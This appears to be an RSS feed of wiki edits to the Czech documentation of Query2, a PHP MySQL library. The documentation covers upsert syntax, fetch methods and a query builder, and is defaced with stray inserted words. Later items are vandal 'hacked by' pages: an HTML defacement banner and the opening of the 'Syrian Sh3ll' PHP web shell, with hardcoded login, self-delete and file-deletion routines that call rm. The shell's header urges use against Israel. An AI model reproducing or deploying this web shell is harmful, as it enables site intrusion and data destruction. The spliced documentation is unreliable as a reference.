	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot;</del><ins>                                                         SPECIAL TANX</ins> : <del>&quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery()</del><ins>M3QDAD</ins> - <del>akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery()</del><ins>M.R.S.CO</ins> - <del>vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].</del><ins>ALI_EAGLE</ins>
</pre></description>
	</item>

	<item>
	  <title>hacked by m</title>
	  <pubDate>Fri, 28 Oct 2011 18:47:50 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=hacked+by+m</link>
	  <description><pre id="diff"><ins>[http://t2.gstatic.com/images?q=tbn:ANd9GcQTR7M3tevO_7Toar4tWifx_G_2VuDUONiZxg29ba7jQtDuyF_tE0Cddbmy9Q|left]</ins>
</pre></description>
	</item>

	<item>
	  <title>hacked by moi</title>
	  <pubDate>Fri, 28 Oct 2011 18:46:08 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=hacked+by+moi</link>
	  <description><pre id="diff"><ins>
&lt;html xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;

xmlns:o=&quot;urn:schemas-microsoft-com:office:office&quot;

xmlns:w=&quot;urn:schemas-microsoft-com:office:word&quot;

xmlns:dt=&quot;uuid:C2F41010-65B3-11d1-A29F-00AA00C14882&quot;

xmlns=&quot;http://www.w3.org/TR/REC-html40&quot;&gt;



&lt;head&gt;

&lt;meta name=&quot;Microsoft Theme 2.00&quot; content=&quot;Slate 011&quot;&gt;

&lt;meta http-equiv=Content-Type content=&quot;text/html; charset=us-ascii&quot;&gt;

&lt;meta name=ProgId content=Word.Document&gt;

&lt;meta name=Generator content=&quot;Microsoft Word 11&quot;&gt;

&lt;meta name=Originator content=&quot;Microsoft Word 11&quot;&gt;

&lt;link rel=File-List href=&quot;index_fichiers/filelist.xml&quot;&gt;

&lt;title&gt;HaCkED by Microsoft-Dz&lt;/title&gt;

&lt;!--[if gte mso 9]&gt;&lt;xml&gt;

 &lt;o:DocumentProperties&gt;

  &lt;o:Author&gt;Edition ULTRA&lt;/o:Author&gt;

  &lt;o:Template&gt;Normal&lt;/o:Template&gt;

  &lt;o:LastAuthor&gt;Edition ULTRA&lt;/o:LastAuthor&gt;

  &lt;o:Revision&gt;21&lt;/o:Revision&gt;

  &lt;o:TotalTime&gt;65&lt;/o:TotalTime&gt;

  &lt;o:Created&gt;2011-09-08T08:17:00Z&lt;/o:Created&gt;

  &lt;o:LastSaved&gt;2011-10-28T16:45:00Z&lt;/o:LastSaved&gt;

  &lt;o:Pages&gt;1&lt;/o:Pages&gt;

  &lt;o:Words&gt;8&lt;/o:Words&gt;

  &lt;o:Characters&gt;48&lt;/o:Characters&gt;

  &lt;o:Company&gt;Edition ULTRA&lt;/o:Company&gt;

  &lt;o:Lines&gt;1&lt;/o:Lines&gt;

  &lt;o:Paragraphs&gt;1&lt;/o:Paragraphs&gt;

  &lt;o:CharactersWithSpaces&gt;55&lt;/o:CharactersWithSpaces&gt;

  &lt;o:Version&gt;11.5606&lt;/o:Version&gt;

 &lt;/o:DocumentProperties&gt;

&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;

 &lt;w:WordDocument&gt;

  &lt;w:SpellingState&gt;Clean&lt;/w:SpellingState&gt;

  &lt;w:GrammarState&gt;Clean&lt;/w:GrammarState&gt;

  &lt;w:HyphenationZone&gt;21&lt;/w:HyphenationZone&gt;

  &lt;w:DefaultTableStyle Number=&quot;155&quot;&gt;Th&amp;#232;me&lt;/w:DefaultTableStyle&gt;

  &lt;w:ValidateAgainstSchemas/&gt;

  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;

  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;

  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;

  &lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;

 &lt;/w:WordDocument&gt;

&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;

 &lt;w:LatentStyles DefLockedState=&quot;false&quot; LatentStyleCount=&quot;156&quot;&gt;

 &lt;/w:LatentStyles&gt;

&lt;/xml&gt;&lt;![endif]--&gt;

&lt;style&gt;

&lt;!--

 /* Font Definitions */

 @font-face

	{font-family:&quot;Gill Sans Ultra Bold&quot;;

	panose-1:2 11 10 2 2 1 4 2 2 3;

	mso-font-charset:0;

	mso-generic-font-family:swiss;

	mso-font-pitch:variable;

	mso-font-signature:7 0 0 0 3 0;}

@font-face

	{font-family:Verdana;

	panose-1:2 11 6 4 3 5 4 4 2 4;

	mso-font-charset:0;

	mso-generic-font-family:swiss;

	mso-font-pitch:variable;

	mso-font-signature:536871559 0 0 0 415 0;}

@font-face

	{font-family:&quot;Trebuchet MS&quot;;

	panose-1:2 11 6 3 2 2 2 2 2 4;

	mso-font-charset:0;

	mso-generic-font-family:swiss;

	mso-font-pitch:variable;

	mso-font-signature:647 0 0 0 159 0;}

 /* Style Definitions */

 p.MsoNormal, li.MsoNormal, div.MsoNormal

	{mso-style-parent:&quot;&quot;;

	margin:0cm;

	margin-bottom:.0001pt;

	mso-pagination:widow-orphan;

	font-size:12.0pt;

	font-family:Verdana;

	mso-fareast-font-family:&quot;Times New Roman&quot;;

	mso-bidi-font-family:&quot;Times New Roman&quot;;

	color:white;}

h1

	{mso-style-next:Normal;

	margin-top:12.0pt;

	margin-right:0cm;

	margin-bottom:3.0pt;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	page-break-after:avoid;

	mso-outline-level:1;

	font-size:16.0pt;

	font-family:Verdana;

	mso-bidi-font-family:Arial;

	color:white;

	mso-font-kerning:16.0pt;

	font-weight:bold;}

h2

	{mso-style-next:Normal;

	margin-top:12.0pt;

	margin-right:0cm;

	margin-bottom:3.0pt;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	page-break-after:avoid;

	mso-outline-level:2;

	font-size:14.0pt;

	font-family:Verdana;

	mso-bidi-font-family:Arial;

	color:white;

	font-weight:normal;}

h3

	{mso-style-next:Normal;

	margin-top:12.0pt;

	margin-right:0cm;

	margin-bottom:3.0pt;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	page-break-after:avoid;

	mso-outline-level:3;

	font-size:13.0pt;

	font-family:Verdana;

	mso-bidi-font-family:Arial;

	color:white;

	font-weight:normal;}

h4

	{mso-style-next:Normal;

	margin-top:12.0pt;

	margin-right:0cm;

	margin-bottom:3.0pt;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	page-break-after:avoid;

	mso-outline-level:4;

	font-size:14.0pt;

	font-family:Verdana;

	color:white;

	font-weight:normal;}

h5

	{mso-style-next:Normal;

	margin-top:12.0pt;

	margin-right:0cm;

	margin-bottom:3.0pt;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	mso-outline-level:5;

	font-size:13.0pt;

	font-family:Verdana;

	color:white;

	font-weight:normal;}

h6

	{mso-style-next:Normal;

	margin-top:12.0pt;

	margin-right:0cm;

	margin-bottom:3.0pt;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	mso-outline-level:6;

	font-size:11.0pt;

	font-family:Verdana;

	color:white;

	font-weight:normal;}

a:link, span.MsoHyperlink

	{color:#B6B04D;

	text-decoration:underline;

	text-underline:single;}

a:visited, span.MsoHyperlinkFollowed

	{color:#707849;

	text-decoration:underline;

	text-underline:single;}

p

	{mso-margin-top-alt:auto;

	margin-right:0cm;

	mso-margin-bottom-alt:auto;

	margin-left:0cm;

	mso-pagination:widow-orphan;

	font-size:12.0pt;

	font-family:Verdana;

	mso-fareast-font-family:&quot;Times New Roman&quot;;

	mso-bidi-font-family:&quot;Times New Roman&quot;;

	color:white;}

span.apple-style-span

	{mso-style-name:apple-style-span;}

span.apple-converted-space

	{mso-style-name:apple-converted-space;}

span.SpellE

	{mso-style-name:&quot;&quot;;

	mso-spl-e:yes;}

span.GramE

	{mso-style-name:&quot;&quot;;

	mso-gram-e:yes;}

@page Section1

	{size:595.3pt 841.9pt;

	margin:70.85pt 70.85pt 70.85pt 70.85pt;

	mso-header-margin:35.4pt;

	mso-footer-margin:35.4pt;

	mso-paper-source:0;}

div.Section1

	{page:Section1;}

--&gt;

&lt;/style&gt;

&lt;!--[if gte mso 10]&gt;

&lt;style&gt;

 /* Style Definitions */

 table.MsoNormalTable

	{mso-style-name:&quot;Tableau Normal&quot;;

	mso-tstyle-rowband-size:0;

	mso-tstyle-colband-size:0;

	mso-style-noshow:yes;

	mso-style-parent:&quot;&quot;;

	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;

	mso-para-margin:0cm;

	mso-para-margin-bottom:.0001pt;

	mso-pagination:widow-orphan;

	font-size:10.0pt;

	font-family:&quot;Times New Roman&quot;;

	mso-ansi-language:#0400;

	mso-fareast-language:#0400;

	mso-bidi-language:#0400;}

table.MsoTableTheme

	{mso-style-name:Th\00E8me;

	mso-tstyle-rowband-size:0;

	mso-tstyle-colband-size:0;

	border:solid #989898 1.0pt;

	mso-border-alt:solid #989898 .5pt;

	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;

	mso-border-insideh:.5pt solid #989898;

	mso-border-insidev:.5pt solid #989898;

	mso-para-margin:0cm;

	mso-para-margin-bottom:.0001pt;

	mso-pagination:widow-orphan;

	font-size:10.0pt;

	font-family:&quot;Times New Roman&quot;;

	mso-ansi-language:#0400;

	mso-fareast-language:#0400;

	mso-bidi-language:#0400;}

&lt;/style&gt;

&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;

 &lt;o:shapedefaults v:ext=&quot;edit&quot; spidmax=&quot;17410&quot;/&gt;

&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;

 &lt;o:shapelayout v:ext=&quot;edit&quot;&gt;

  &lt;o:idmap v:ext=&quot;edit&quot; data=&quot;1&quot;/&gt;

 &lt;/o:shapelayout&gt;&lt;/xml&gt;&lt;![endif]--&gt;

&lt;/head&gt;



&lt;body bgcolor=black background=&quot;index_fichiers/image001.gif&quot; lang=FR

link=&quot;#B6B04D&quot; vlink=&quot;#707849&quot; style='tab-interval:35.4pt;background-attachment:

fixed'&gt;

&lt;!--[if gte mso 9]&gt;&lt;xml&gt;

 &lt;v:background id=&quot;_x0000_s1025&quot; o:bwmode=&quot;white&quot; fillcolor=&quot;black&quot;

  o:targetscreensize=&quot;800,600&quot;&gt;

  &lt;v:fill src=&quot;index_fichiers/image001.gif&quot; o:title=&quot;background_slate&quot; type=&quot;frame&quot;/&gt;

 &lt;/v:background&gt;&lt;/xml&gt;&lt;![endif]--&gt;



&lt;div class=Section1&gt;



&lt;p align=center style='text-align:center'&gt;&lt;br&gt;

&lt;span style='mso-spacerun:yes'&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style='font-size:16.0pt;

font-family:&quot;Gill Sans Ultra Bold&quot;'&gt;-&lt;span class=GramE&gt;[ &lt;span class=SpellE&gt;Hacked&lt;/span&gt;&lt;/span&gt;

By ]-&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;



&lt;p align=center style='text-align:center'&gt;&lt;span class=SpellE&gt;&lt;b&gt;&lt;span

style='font-size:16.0pt;font-family:&quot;Gill Sans Ultra Bold&quot;'&gt;Microsoft-Dz&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span

style='font-size:16.0pt;font-family:&quot;Gill Sans Ultra Bold&quot;'&gt; &lt;/span&gt;&lt;/b&gt;&lt;i&gt;&lt;span

style='font-size:18.0pt;font-family:&quot;Gill Sans Ultra Bold&quot;'&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;



&lt;p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:

auto;text-align:center'&gt;&lt;b&gt;&lt;span style='font-size:13.5pt;font-family:&quot;Trebuchet MS&quot;;

color:yellow;background:black'&gt;|Alg&amp;eacute;rie 2011/2012|&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;



&lt;p align=center style='text-align:center'&gt;&lt;span class=apple-style-span&gt;&lt;span

style='font-size:16.0pt;color:lime'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;



&lt;p align=center style='text-align:center'&gt;&lt;span style='font-size:36.0pt;

font-family:&quot;Gill Sans Ultra Bold&quot;'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;



&lt;p align=center style='text-align:center'&gt;&lt;span style='font-size:36.0pt;

font-family:&quot;Gill Sans Ultra Bold&quot;'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;



&lt;p class=MsoNormal&gt;&lt;span style='font-family:&quot;Times New Roman&quot;;color:windowtext'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;



&lt;/div&gt;



&lt;/body&gt;



&lt;/html&gt;
</ins>
</pre></description>
	</item>

	<item>
	  <title>hacked by microsoft-Dz</title>
	  <pubDate>Fri, 28 Oct 2011 18:43:13 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=hacked+by+microsoft-Dz</link>
	  <description><pre id="diff"><ins>&lt;?php
#  ____ _ _    __ _ _ _ _  _      __      _ _    _             
# /_ _ _|\ \  / /| |____ \| |    /  \    | |\ \  ||             
# (_ _    \ \/ / | |____||| |   / /\ \   | | \ \ ||                      
# \_ _ \   \  |  | |____/ | |  / /--\ \  | |  \ \||              
# __ _) |  |  |  | |  \ \ | | / /----\ \ | |   \ \|          
#|_ _ _/   |__|  |_|   \_\|_|/_/      \_\|_|    \_|    
#  _ _ _ _          _ _
# /_ _ _| |        | | |   [ ~~Syrian Sh3ll~~ ] is a php evil script , please use it against ISRAEL Only .  
# (___  | |__   ___| | |   Coded By :  EH &lt;&lt; SyRiAn | 34G13  &lt;~&gt; sy34[at]msn[dot]com
# \___ \|  _ \ / _ \ | |   Note : I'm Proud to be ~~SyRiAn~~
# __ _)|| | | || __/ | |   Copyright (C) 2010 - ~~ syrian-shell.com ~~
#|_ _ _/|_| |_|\___|_|_|   Thanx : [ Allah ] [ HaniWT ] [ SyRiAn_SnIpEr ] [ SyRiAn_SpIdEr ] [ TNT Hacker ] .

$uselogin = 1;   // Make It 0 If you Want To Disable Auth
$user = '223';  // Username
$pass = '23';  // Password
$sh3llColor = '#990000'; // sh3ll Color
?&gt;
&lt;?php
if($_GET['id']== 'logout')
{Logout();}
if(!($_GET['id'] == 'sshSession'))
{echo CSS($sh3llColor);}
# ---------------------------------------#
#                SuiCide                 #
#----------------------------------------#
else if($_GET['id'] == 100){echo &quot;&lt;body onload='Suicide();'&gt;&quot;;}
else if($_GET['id'] == 'Delete'){Suicide();}
# ---------------------------------------#
#                Functions               #
#----------------------------------------#
function DeleteFile($fileName)
{
	global $os;
	if(function_exists('unlink'))
	{$delete = unlink($fileName);}
	if((!$delete) &amp;&amp; ($os == 'Windows'))
	{$delete = Exe(&quot;del $fileName&quot;); }
	else if((!$delete) &amp;&amp; ($os == 'Linux'))
	{$delete = Exe(&quot;rm -f $fileName&quot;);}
	if($delete){return true;}else{return false;}
}
function DeleteFolder($folderName)
{
	global $os;
	if(function_exists('rmdir'))
	{$delete = rmdir($folderName);}
	if((!$delete) &amp;&amp; ($os == 'Windows'))
	{$delete = Exe(&quot;rmdir $folderName&quot;); }
	else if((!$delete) &amp;&amp; ($os == 'Linux'))
	{$delete = Exe(&quot;rm -r $folderName&quot;);}
	if($delete){return true;}else{return false;}
}
function CopyFile($fileName,$newFileName)
{
	global $os;
	if(function_exists('copy'))
	{$copy = copy($fileName,$newFileName);}
	else if((!$copy) &amp;&amp; ($os == 'Windows'))
	{$path = 'copy '.$fileName.' '.$newFileName; $copy = Exe($path);}
	else if((!$copy) &amp;&amp; ($os == 'Linux'))
	{$path = 'copy '.$fileName.' '.$newFileName; $copy = Exe($path);}
	if($copy) {return true;}else{return false;}	
}
